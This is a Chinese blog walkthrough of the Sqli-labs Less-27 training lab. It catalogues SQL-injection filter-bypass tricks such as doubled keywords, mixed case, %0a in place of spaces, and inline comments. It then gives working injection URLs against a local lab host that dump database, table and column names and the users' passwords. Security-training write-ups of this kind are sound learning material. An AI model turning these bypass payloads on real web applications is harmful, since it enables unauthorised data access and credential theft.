Sqli-labs less-27

Sqli-labs less-27

过滤union\select绕过方式

### 1. 逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=‘admin’

### 2.十六进制字符绕过
select ——> selec\x74
union——>unio\x6e

### 3.大小写绕过
SelEct

### 4.双写绕过
selselectect
uniunionon
### 5.urlencode,ascii(char),hex,unicode编码绕过

### 6.关键字内联绕所有
/!union/
/!select/

靶场less-27

闭合方式

构造

http://192.168.140.131:8888/Less-27/?id=1’
根据报错确定闭合方式为',单引号

根据题目提示确定绕过的字符

http://192.168.140.131:8888/Less-27/?id=1’ #
注释符过滤,使用下面语句绕过注释符

http://192.168.140.131:8888/Less-27/?id=1’ or ‘1’='1
空格绕过,使用下面语句绕过空格过滤

http://192.168.140.131:8888/Less-27/?id=1’ %0aor%0a ‘1’='1
我是用的靶场为Linux环境,不同的环境可能空格绕过方式不通

列数及注入点

http://192.168.140.131:8888/Less-27/?id=1’%0aunion%0aselect%0a1,2,3 %0aor%0a ‘1’='1
发现union和select被过滤,尝试前面提到的绕过方式

http://192.168.140.131:8888/Less-27/?id=1’%0auniounionn%0asEleselectct%0a1,2,3 %0aor%0a ‘1’='1
经过尝试我双写union并同时双写加大写select可以对union和select绕过,方式众多,可以多加尝试

在这里插入图片描述

爆数据

数据库名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(select (database())),3 %0aor%0a ‘1’='1
注意绕过,多是多使用()绕过空格

表名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3 %0aor%0a ‘1’='1

列名

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(column_name))from(information_schema.columns)where(table_schema=database()%26%26table_name=‘users’)),3 %0aor%0a ‘1’='1

数据

http://192.168.140.131:8888/Less-27/?id=0’%0auniounionn%0asEleselectct%0a1,(sElect (group_concat(username,‘~’,password))from(security.users)),3 %0aor%0a ‘1’='1

OVER

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值